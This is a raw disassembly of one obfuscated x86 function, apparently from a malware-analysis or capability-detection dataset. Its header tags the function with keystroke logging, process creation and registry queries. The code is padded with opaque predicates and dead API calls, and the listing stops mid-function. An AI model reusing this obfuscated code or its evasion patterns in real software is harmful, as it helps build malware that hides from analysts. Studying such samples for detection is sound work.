Function at 0x10008a74
Capabilities:
Check os version
Create process on windows
Extract resource via kernel32 functions
Get disk information
Get file attributes
Get system information on windows
Log keystrokes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100753e7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x146c
call fcn.10071930
push esi
push edi
mov dword [ebp - 0x200], 0xffffffff
mov dword [ebp - 0x200], 0
jmp 0x10008abb
mov eax, dword [ebp - 0x200]
dec eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0xfffffff7
jl 0x10008b28
mov dword [ebp - 0x2c4], 0
jmp 0x10008add
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 1
jge 0x10008af9
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0xca0], 2
jmp 0x10008ad0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x200]
mov dword [ebp + eax - 0xca0], ecx
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x10008b26
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x10008aae
mov dword [ebp - 0x1400], 0xcdb8faaa
mov dword [ebp - 0x64], 0x7cf2
push 2
lea ecx, [ebp - 0x224]
call fcn.1001737c
and dword [ebp - 4], 0
mov dword [ebp - 0x80], 0x3fe662db
mov dword [ebp - 0xb8], 0x43ddca27
mov dword [ebp - 0x130], 0xfffe
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x24c], 0
jmp 0x10008b88
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 2
jge 0x10008baa
push dword [ebp - 0x24c]
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov dword [eax], 0xfe30f587
jmp 0x10008b7b
mov eax, 0x7276
test eax, eax
je 0x10008c9d
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x127c], eax
push 0
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x133c], eax
mov eax, 0xffff
cmp eax, 0x4ef2
jbe 0x10008bf4
mov dword [ebp - 0xdac], 1
jmp 0x10008bfb
and dword [ebp - 0xdac], 0
push 1
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x64], eax
jge 0x10008c1f
mov dword [ebp - 0x5c4], 1
jmp 0x10008c26
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x5c4]
je 0x10008c41
xor eax, eax
je 0x10008c41
mov dword [ebp - 0xb64], 1
jmp 0x10008c48
and dword [ebp - 0xb64], 0
mov eax, dword [ebp - 0xb64]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
je 0x10008c7b
push 0
lea ecx, [ebp - 0x224]
call fcn.1001740a
cmp dword [eax], 0
je 0x10008c7b
mov dword [ebp - 0xb6c], 1
jmp 0x10008c82
and dword [ebp - 0xb6c], 0
push 0
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov ecx, dword [ebp - 0xb6c]
sub ecx, dword [eax]
jne 0x10008caf
xor eax, eax
jne 0x10008caf
cmp dword [ebp - 0xb8], 0
jne 0x10008caf
and dword [ebp - 0xb74], 0
jmp 0x10008cb9
mov dword [ebp - 0xb74], 1
mov eax, dword [ebp - 0xb74]
add eax, 0x437
imul eax, eax, 0xffff
test eax, eax
jne 0x10008cdd
cmp dword [ebp - 0x64], 0
jne 0x10008cdd
and dword [ebp - 0xdb4], 0
jmp 0x10008ce7
mov dword [ebp - 0xdb4], 1
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x1284], eax
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x130], eax
jle 0x10008d14
mov dword [ebp - 0xdbc], 1
jmp 0x10008d1b
and dword [ebp - 0xdbc], 0
mov esi, dword [ebp - 0x64]
push 1
lea ecx, [ebp - 0x224]
call fcn.1001740a
cmp esi, dword [eax]
jne 0x10008d3b
mov dword [ebp - 0xb7c], 1
jmp 0x10008d42
and dword [ebp - 0xb7c], 0
push 0
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov ecx, dword [ebp - 0xb7c]
cmp ecx, dword [eax]
jle 0x10008d65
mov dword [ebp - 0xb84], 1
jmp 0x10008d6c
and dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0xb84]
dec eax
mov dword [ebp - 0xb8], eax
mov esi, dword [ebp - 0xb8]
add esi, 4
push 1
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov dword [eax], esi
push 0
lea ecx, [ebp - 0x224]
call fcn.1001740a
cmp dword [eax], 0
jne 0x10008db5
mov eax, 0x8f9e
test eax, eax
jne 0x10008db5
and dword [ebp - 0xb94], 0
jmp 0x10008dbf
mov dword [ebp - 0xb94], 1
mov esi, dword [ebp - 0x64]
push 1
lea ecx, [ebp - 0x224]
call fcn.1001740a
cmp esi, dword [eax]
jne 0x10008de1
xor eax, eax
inc eax
jne 0x10008de1
and dword [ebp - 0xb8c], 0
jmp 0x10008deb
mov dword [ebp - 0xb8c], 1
cmp dword [ebp - 0xb8c], 0
jle 0x10008e00
mov dword [ebp - 0x550], 1
jmp 0x10008e07
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0xb94]
cmp eax, dword [ebp - 0x550]
jl 0x10008e21
mov dword [ebp - 0x428], 1
jmp 0x10008e28
and dword [ebp - 0x428], 0
push 0
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov ecx, dword [ebp - 0x428]
cmp ecx, dword [eax]
je 0x10008e4b
mov dword [ebp - 0xa3c], 1
jmp 0x10008e52
and dword [ebp - 0xa3c], 0
push 1
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov esi, dword [eax]
add esi, dword [ebp - 0xb8]
push 1
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov ecx, dword [ebp - 0xa3c]
sub ecx, dword [eax]
sub esi, ecx
mov dword [ebp - 0x430], esi
push 0
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov ecx, dword [ebp - 0x430]
mov dword [eax], ecx
cmp dword [ebp - 0x430], 0xaef2d6a3
jne 0x10008eb1
mov dword [ebp - 0xa44], 1
jmp 0x10008eb8
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0xa44]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x10008ee2
cmp dword [ebp - 0x138], 0
je 0x10008ee2
mov dword [ebp - 0x438], 1
jmp 0x10008ee9
and dword [ebp - 0x438], 0
cmp dword [ebp - 0x438], 0x93d3b28c
jb 0x10008eff
cmp dword [ebp - 0x80], 0
je 0x10009028
mov dword [ebp - 0xde8], 0xfffffffc
mov dword [ebp - 0x130], 0x17
jmp 0x10008f22
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x20
jle 0x10009026
mov dword [ebp - 0xdd8], 0xfedea8f4
mov byte [ebp - 0x120], 0
movzx eax, byte [ebp - 0x120]
test eax, eax
je 0x10008f59
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
mov dword [ebp - 0x64], 0x13
jmp 0x10008f69
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x3a
jg 0x10009021
mov dword [ebp - 0x80], 0
jmp 0x10008f83
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jg 0x1000901c
mov dword [ebp - 0x138], 0
jmp 0x10008fa6
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 1
jg 0x10009017
push dword [ebp - 0x80]
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov esi, eax
push dword [ebp - 0x80]
lea ecx, [ebp - 0x224]
call fcn.1001740a
mov ecx, dword [esi]
mov dword [eax], ecx
cmp dword [ebp - 0x80], 1
jge 0x10008fe3
mov dword [ebp - 0xa4c], 1
jmp 0x10008fea
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0xdd8]
cmp eax, dword [ebp - 0xa4c]
jl 0x10009004
mov dword [ebp - 0xde0], 1
jmp 0x1000900b
and dword [ebp - 0xde0], 0
mov dword [ebp - 0xde8], 0
jmp 0x10008f99
jmp 0x10008f7c
jmp 0x10008f62
jmp 0x10008f15
jmp 0x10009042
mov byte [ebp - 0x141], 0
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x10009042
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x224]
call fcn.10017405
push 3
lea ecx, [ebp - 0x10dc]
call fcn.1001737c
mov dword [ebp - 4], 1
mov dword [ebp - 0x13ec], 0x3c67ee39
mov dword [ebp - 0xd8], 0x9fe387fb
mov dword [ebp - 0x250], 0
jmp 0x10009092
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 3
jge 0x100090ae
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0xc84], 0xffffffff
jmp 0x10009085
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd8]
mov dword [ebp + eax - 0xc84], ecx
mov dword [ebp - 0xd8], 0
jmp 0x100090da
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 2
jg 0x100091d8
mov dword [ebp - 0x448], 0x54c97515
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc84], 0
jae 0x1000910d
mov dword [ebp - 0x440], 1
jmp 0x10009114
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp + eax*4 - 0xc84]
add eax, dword [ebp - 0x440]
cmp eax, 0x67e6aa14
jg 0x1000913a
mov dword [ebp - 0xa54], 1
jmp 0x10009141
and dword [ebp - 0xa54], 0
mov eax, dword [ebp - 0xa54]
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
neg eax
add eax, 0x18d9
mov ecx, dword [ebp - 0xd8]
cmp dword [ebp + ecx*4 - 0xc84], eax
je 0x10009175
mov dword [ebp - 0xa5c], 1
jmp 0x1000917c
and dword [ebp - 0xa5c], 0
cmp dword [ebp - 0xa5c], 0xfffffffc
jl 0x10009191
mov dword [ebp - 0x450], 1
jmp 0x10009198
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp + eax*4 - 0xc84]
cmp dword [ebp - 0x450], eax
jle 0x100091b9
mov dword [ebp - 0xa64], 1
jmp 0x100091c0
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xa64]
mov dword [ebp + eax*4 - 0xc84], ecx
jmp 0x100090cd
mov dword [ebp - 0x1074], 0x13d
mov dword [ebp - 0x1070], 0x13d
mov dword [ebp - 0x106c], 0x13d
mov dword [ebp - 0x1068], 0x13d
lea ecx, [ebp - 0x3dd]
call fcn.100088c3
push eax
lea eax, [ebp - 0x1064]
push eax
lea eax, [ebp - 0x1074]
push eax
lea ecx, [ebp - 0x1468]
call fcn.10017419
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1094]
call fcn.100173db
mov byte [ebp - 4], 2
mov dword [ebp - 0xdf0], 0x1852
mov dword [ebp - 0x1bc], 0xfffffffe
mov dword [ebp - 0x320], 0
jmp 0x10009266
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 3
jge 0x10009282
mov eax, dword [ebp - 0x320]
mov dword [ebp + eax*4 - 0x1328], 0x47dc4b4e
jmp 0x10009259
mov eax, dword [ebp - 0xdf0]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1bc], 2
jmp 0x100092a7
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jl 0x100092cb
mov eax, dword [ebp - 0x1bc]
push 4
pop ecx
shl ecx, 1
mov eax, dword [ebp + eax*4 - 0x1328]
mov dword [ebp + ecx - 0x1328], eax
jmp 0x1000929a
mov dword [ebp - 0x128c], 0x9a13
push 2
lea ecx, [ebp - 0xbc4]
call fcn.1001737c
mov byte [ebp - 4], 3
push 4
lea ecx, [ebp - 0xf68]
call fcn.1001737c
mov byte [ebp - 4], 4
mov dword [ebp - 0x74], 0
jmp 0x10009307
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x10009323
push dword [ebp - 0x74]
lea ecx, [ebp - 0xbc4]
call fcn.1001740a
mov dword [eax], 0xdf99ff60
jmp 0x10009300
mov dword [ebp - 0x74], 0
jmp 0x10009333
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jge 0x1000934f
push dword [ebp - 0x74]
lea ecx, [ebp - 0xf68]
call fcn.1001740a
mov dword [eax], 1
jmp 0x1000932c
push 1
lea ecx, [ebp - 0xbc4]
call fcn.1001740a
and dword [eax], 0
jmp 0x10009385
push 1
lea ecx, [ebp - 0xbc4]
call fcn.1001740a
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x458]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xbc4]
call fcn.1001740a
cmp dword [eax], 0x11
jge 0x10009624
mov dword [ebp - 0xdf8], 0xec79cf18
mov dword [ebp - 0x1140], 0x6887e0
mov dword [ebp - 0x1150], 1
mov dword [ebp - 0xa8c], 0xc73f
mov dword [ebp - 0x258], 0
jmp 0x100093dc
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 3
jge 0x100093f8
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0xbf4], 0
jmp 0x100093cf
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xbf4], 3
jmp 0x10009423
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbf4]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xbf4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xbf4], 0x1c
jne 0x10009612
mov dword [ebp - 0x2e0], 0xfffffffd
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xbf4], 0
je 0x10009468
mov dword [ebp - 0x1158], 0xffffffff
mov eax, dword [ebp - 0x2e0]
dec eax
mov dword [ebp - 0x2e0], eax
jmp 0x10009490
mov byte [ebp - 0xfe], 0
movzx eax, byte [ebp - 0xfe]
test eax, eax
je 0x10009482
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0xdf8], 0
je 0x10009490
jmp 0x1000940a
xor eax, eax
jne 0x100095c6
push 1
lea ecx, [ebp - 0xbc4]
call fcn.1001740a
cmp dword [eax], 0
jne 0x100095bd
cmp dword [ebp - 0x2e0], 0x4e401d93
je 0x100094c6
mov dword [ebp - 0xa6c], 1
jmp 0x100094cd
and dword [ebp - 0xa6c], 0
mov eax, dword [ebp - 0x2e0]
cmp eax, dword [ebp - 0xa6c]
jge 0x100094e7
mov dword [ebp - 0x460], 1
jmp 0x100094ee
and dword [ebp - 0x460], 0
cmp dword [ebp - 0x460], 0xebdb
je 0x10009506
mov dword [ebp - 0xa74], 1
jmp 0x1000950d
and dword [ebp - 0xa74], 0
push 1
lea ecx, [ebp - 0xf68]
call fcn.1001740a
mov ecx, dword [ebp - 0xa74]
cmp ecx, dword [eax]
je 0x10009530
mov dword [ebp - 0x468], 1
jmp 0x10009537
and dword [ebp - 0x468], 0
cmp dword [ebp - 0x468], 0xf27142b6
ja 0x1000954f
mov dword [ebp - 0xa7c], 1
jmp 0x10009556
and dword [ebp - 0xa7c], 0
push 4
pop eax
shl eax, 1
mov esi, dword [ebp - 0xa7c]
sub esi, dword [ebp + eax - 0xbf4]
push 1
lea ecx, [ebp - 0xbc4]
call fcn.1001740a
mov eax, dword [eax]
lea eax, [esi + eax - 0xe10d]
test eax, eax
jbe 0x1000958e
mov dword [ebp - 0x470], 1
jmp 0x10009595
and dword [ebp - 0x470], 0
cmp dword [ebp - 0x470], 0x9390dfc1
jbe 0x100095ad
mov dword [ebp - 0xe00], 1
jmp 0x100095b4
and dword [ebp - 0xe00], 0
mov eax, 0x80a3888a
test eax, eax
je 0x100095c6
and dword [ebp - 0xa84], 0
jmp 0x100095d0
mov dword [ebp - 0xa84], 1
cmp dword [ebp - 0xa84], 6
jbe 0x100095e5
mov dword [ebp - 0x478], 1
jmp 0x100095ec
and dword [ebp - 0x478], 0
push 4
pop eax
shl eax, 1
mov esi, dword [ebp + eax - 0xbf4]
add esi, dword [ebp - 0x478]
push 1
lea ecx, [ebp - 0xf68]
call fcn.1001740a
mov dword [eax], esi
jmp 0x1000940a
mov eax, dword [ebp - 0xa8c]
inc eax
mov dword [ebp - 0xa8c], eax
jmp 0x10009361
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xf68]
call fcn.10017405
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xbc4]
call fcn.10017405
mov dword [ebp - 0x1160], 0xae974ca7
push 2
lea ecx, [ebp - 0xff8]
call fcn.1001737c
mov byte [ebp - 4], 5
push 2
lea ecx, [ebp - 0x37c]
call fcn.1001737c
mov byte [ebp - 4], 6
mov dword [ebp - 0xa94], 0x2aa61fc2
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0xc0], 0
jmp 0x1000969b
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x100096ba
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xff8]
call fcn.1001740a
and dword [eax], 0
jmp 0x1000968e
mov dword [ebp - 0xc0], 0
jmp 0x100096d3
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x100096f5
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x37c]
call fcn.1001740a
mov dword [eax], 0x25d16df2
jmp 0x100096c6
push 1
lea ecx, [ebp - 0x37c]
call fcn.1001740a
and dword [eax], 0
jmp 0x1000972b
push 1
lea ecx, [ebp - 0x37c]
call fcn.1001740a
mov dword [ebp - 0x480], eax
mov eax, dword [ebp - 0x480]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x480]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x37c]
call fcn.1001740a
cmp dword [eax], 1
jg 0x10009760
push 1
lea ecx, [ebp - 0x37c]
call fcn.1001740a
push dword [eax]
lea ecx, [ebp - 0xff8]
call fcn.1001740a
cmp dword [eax], 0
je 0x1000975e
jmp 0x10009760
jmp 0x10009707
mov dword [ebp - 0xa94], 0xffffffff
mov esi, dword [ebp - 0xa94]
push 1
lea ecx, [ebp - 0x37c]
call fcn.1001740a
cmp dword [eax], esi
jle 0x1000978d
mov dword [ebp - 0xe08], 1
jmp 0x10009794
and dword [ebp - 0xe08], 0
push 0
lea ecx, [ebp - 0x37c]
call fcn.1001740a
imul esi, dword [eax], 0xfa31
push 1
lea ecx, [ebp - 0x37c]
call fcn.1001740a
cmp esi, dword [eax]
jge 0x100097c4
mov dword [ebp - 0x488], 1
jmp 0x100097cb
and dword [ebp - 0x488], 0
push 0
lea ecx, [ebp - 0x37c]
call fcn.1001740a
mov ecx, dword [ebp - 0x488]
cmp ecx, dword [eax]
je 0x100097ee
mov dword [ebp - 0xe10], 1
jmp 0x100097f5
and dword [ebp - 0xe10], 0
push 1
lea ecx, [ebp - 0x37c]
call fcn.1001740a
push 1
lea ecx, [ebp - 0x37c]
call fcn.1001740a
mov ecx, dword [ebp - 0x3ec]
cmp dword [eax], ecx
jle 0x10009825
mov dword [ebp - 0xa9c], 1
jmp 0x1000982c
and dword [ebp - 0xa9c], 0
push 1
lea ecx, [ebp - 0xff8]
call fcn.1001740a
mov ecx, dword [ebp - 0xa9c]
cmp ecx, dword [eax]
je 0x1000984f
mov dword [ebp - 0x490], 1
jmp 0x10009856
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x3ec]
cmp dword [ebp - 0x490], eax
jg 0x10009870
mov dword [ebp - 0xaa4], 1
jmp 0x10009877
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0x3ec]
cmp dword [ebp - 0xaa4], eax
jge 0x10009891
mov dword [ebp - 0x498], 1
jmp 0x10009898
and dword [ebp - 0x498], 0
push 1
lea ecx, [ebp - 0x37c]
call fcn.1001740a
mov ecx, dword [ebp - 0x498]
mov dword [eax], ecx
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x37c]
call fcn.10017405
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xff8]
call fcn.10017405
mov dword [ebp - 0x1168], 0x4ff5452f
mov dword [ebp - 0x1170], 0xe0cf5720
mov byte [ebp - 0x100], 0
movzx eax, byte [ebp - 0x100]
test eax, eax
je 0x10009900
push 0
push 0x19db
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
mov byte [ebp - 0x181], 0
movzx eax, byte [ebp - 0x181]
test eax, eax
je 0x10009928
push 0x1d75
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0xe50], 0xfffffff7
mov dword [ebp - 0x28], 0x2e08
mov dword [ebp - 0x1cc], 0xb0befcdf
mov dword [ebp - 0x90], 0xc1dfe936
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x38c], 0xc0de450b
mov dword [ebp - 0xe20], 1
mov dword [ebp - 0x260], 0
jmp 0x10009984
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 4
jge 0x100099a0
mov eax, dword [ebp - 0x260]
mov dword [ebp + eax*4 - 0x1128], 0x80095520
jmp 0x10009977
push 6
pop eax
test eax, eax
je 0x10009a65
cmp dword [ebp - 0x28], 0
je 0x100099c3
cmp dword [ebp - 0x28], 0
je 0x100099c3
mov dword [ebp - 0xaac], 1
jmp 0x100099ca
and dword [ebp - 0xaac], 0
cmp dword [ebp - 0xaac], 0xffffffff
jl 0x100099e5
cmp dword [ebp - 0x28], 0
je 0x100099e5
mov dword [ebp - 0x4a0], 1
jmp 0x100099ec
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jne 0x10009a0f
or eax, 0xffffffff
jne 0x10009a0f
and dword [ebp - 0xab4], 0
jmp 0x10009a19
mov dword [ebp - 0xab4], 1
mov eax, dword [ebp - 0xab4]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xfc9b
jg 0x10009a3d
mov dword [ebp - 0x4a8], 1
jmp 0x10009a44
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
je 0x10009a65
mov dword [ebp - 0xabc], 1
jmp 0x10009a6c
and dword [ebp - 0xabc], 0
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0
jne 0x10009a8d
mov dword [ebp - 0x4b0], 1
jmp 0x10009a94
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x4b0], eax
jge 0x10009aab
mov dword [ebp - 0xe18], 1
jmp 0x10009ab2
and dword [ebp - 0xe18], 0
mov eax, 0x1466
sub eax, dword [ebp - 0x28]
imul eax, eax, 5
cmp dword [ebp - 0x28], eax
jl 0x10009ace
mov dword [ebp - 0xac4], 1
jmp 0x10009ad5
and dword [ebp - 0xac4], 0
cmp dword [ebp - 0xac4], 6
jg 0x10009aea
mov dword [ebp - 0x4b8], 1
jmp 0x10009af1
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x4b8]
cmp eax, dword [ebp - 0x28]
jg 0x10009b10
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x10009b10
and dword [ebp - 0xacc], 0
jmp 0x10009b1a
mov dword [ebp - 0xacc], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xacc]
mov dword [ebp + eax - 0x1128], ecx
mov dword [ebp - 0x28], 0x17
jmp 0x10009b3d
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff5
jge 0x10009e7a
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x4c0], 0x4499c77e
mov dword [ebp - 0x18c], 0x5493a50e
mov dword [ebp - 0x4f8], 0xff24264a
mov dword [ebp - 0xb04], 0xdfef28ed
mov dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x4c0]
sub eax, 0xb
je 0x10009ba0
mov eax, 0xa8b1460d
test eax, eax
je 0x10009ba0
mov dword [ebp - 0xad4], 1
jmp 0x10009ba7
and dword [ebp - 0xad4], 0
mov eax, dword [ebp - 0xad4]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0xfffffff7
jle 0x10009bc8
mov dword [ebp - 0x4c8], 1
jmp 0x10009bcf
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x4c8], eax
jl 0x10009bec
cmp dword [ebp - 0x54], 0
je 0x10009bec
mov dword [ebp - 0xadc], 1
jmp 0x10009bf3
and dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0xadc]
neg eax
cmp dword [ebp - 0x90], eax
jg 0x10009c0f
mov dword [ebp - 0x4d0], 1
jmp 0x10009c16
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
sub eax, 0x456014ef
sub eax, dword [ebp - 0x54]
cmp eax, 0xc53a
jge 0x10009c37
mov dword [ebp - 0xae4], 1
jmp 0x10009c3e
and dword [ebp - 0xae4], 0
mov eax, dword [ebp - 0x1cc]
cmp dword [ebp - 0xae4], eax
jle 0x10009c58
mov dword [ebp - 0x4d8], 1
jmp 0x10009c5f
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x4d8], eax
jl 0x10009c76
mov dword [ebp - 0xaec], 1
jmp 0x10009c7d
and dword [ebp - 0xaec], 0
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0xaec], eax
jne 0x10009c91
cmp dword [ebp - 0x28], 0
jne 0x10009ca9
cmp dword [ebp - 0x54], 0
jne 0x10009ca9
mov eax, 0x98934eca
test eax, eax
jne 0x10009ca9
and dword [ebp - 0x4e0], 0
jmp 0x10009cb3
mov dword [ebp - 0x4e0], 1
mov eax, dword [ebp - 0x4e0]
sub eax, dword [ebp - 0x4f8]
cmp eax, dword [ebp - 0x28]
jge 0x10009ce0
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1128], 0
je 0x10009ce0
mov dword [ebp - 0xaf4], 1
jmp 0x10009ce7
and dword [ebp - 0xaf4], 0
cmp dword [ebp - 0xaf4], 0x206cbc8c
jl 0x10009cff
mov dword [ebp - 0x4e8], 1
jmp 0x10009d06
and dword [ebp - 0x4e8], 0
cmp dword [ebp - 0x4e8], 0x29ef
je 0x10009d1e
mov dword [ebp - 0xafc], 1
jmp 0x10009d25
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0xafc]
jg 0x10009d3c
mov dword [ebp - 0x4f0], 1
jmp 0x10009d43
and dword [ebp - 0x4f0], 0
mov eax, dword [ebp - 0x4f0]
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0xb04]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x4f8]
cmp dword [ebp - 0x228], eax
jg 0x10009d75
mov dword [ebp - 0xb0c], 1
jmp 0x10009d7c
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0xb0c]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1cc]
imul eax, dword [ebp - 0x38c]
test eax, eax
je 0x10009daa
mov eax, dword [ebp - 0xe20]
mov dword [ebp - 0x228], eax
jmp 0x10009e5b
mov dword [ebp - 0x90], 0
jmp 0x10009dc3
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jg 0x10009e1d
mov dword [ebp - 0x54], 0
jmp 0x10009ddc
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jg 0x10009dfb
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x90]
mov eax, dword [ebp + eax*4 - 0x1128]
mov dword [ebp + ecx*4 - 0x1128], eax
jmp 0x10009dd5
mov byte [ebp - 0x102], 0
movzx eax, byte [ebp - 0x102]
test eax, eax
je 0x10009e1b
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
jmp 0x10009db6
mov dword [ebp - 0x18c], 3
jmp 0x10009e36
mov eax, dword [ebp - 0x18c]
dec eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
jl 0x10009e5b
mov byte [ebp - 0x122], 0
movzx eax, byte [ebp - 0x122]
